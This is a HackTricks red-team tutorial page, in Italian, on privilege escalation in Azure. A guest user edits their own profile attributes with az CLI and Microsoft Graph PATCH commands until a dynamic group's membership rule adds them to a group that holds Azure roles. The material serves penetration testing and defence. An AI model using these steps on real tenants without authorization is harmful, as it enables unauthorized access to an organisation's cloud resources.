Az - Dynamic Groups Privesc

Reading time: 3 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

I dynamic groups sono gruppi che hanno un insieme di regole configurate e tutti gli utenti o dispositivi che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un attributo di un utente o dispositivo viene cambiato, le regole dinamiche vengono ricontrollate. E quando una nuova regola viene creata, tutti i dispositivi e gli utenti vengono controllati.

I gruppi dinamici possono avere ruoli Azure RBAC assegnati a loro, ma non è possibile aggiungere ruoli AzureAD ai gruppi dinamici.

Questa funzionalità richiede una licenza Azure AD premium P1.

Privesc

Nota che per impostazione predefinita qualsiasi utente può invitare ospiti in Azure AD, quindi, se una regola di un gruppo dinamico concede permessi agli utenti in base agli attributi che possono essere impostati in un nuovo ospite, è possibile creare un ospite con questi attributi e escalare i privilegi. È anche possibile per un ospite gestire il proprio profilo e cambiare questi attributi.

Ottieni gruppi che consentono l'appartenenza dinamica: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Esempio

  • Esempio di regola: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Descrizione della regola: Qualsiasi utente ospite con un'email secondaria contenente la stringa 'security' verrà aggiunto al gruppo

Per l'email dell'utente ospite, accetta l'invito e controlla le impostazioni attuali di quell'utente in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Sfortunatamente, la pagina non consente di modificare i valori degli attributi, quindi dobbiamo utilizzare l'API:

bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks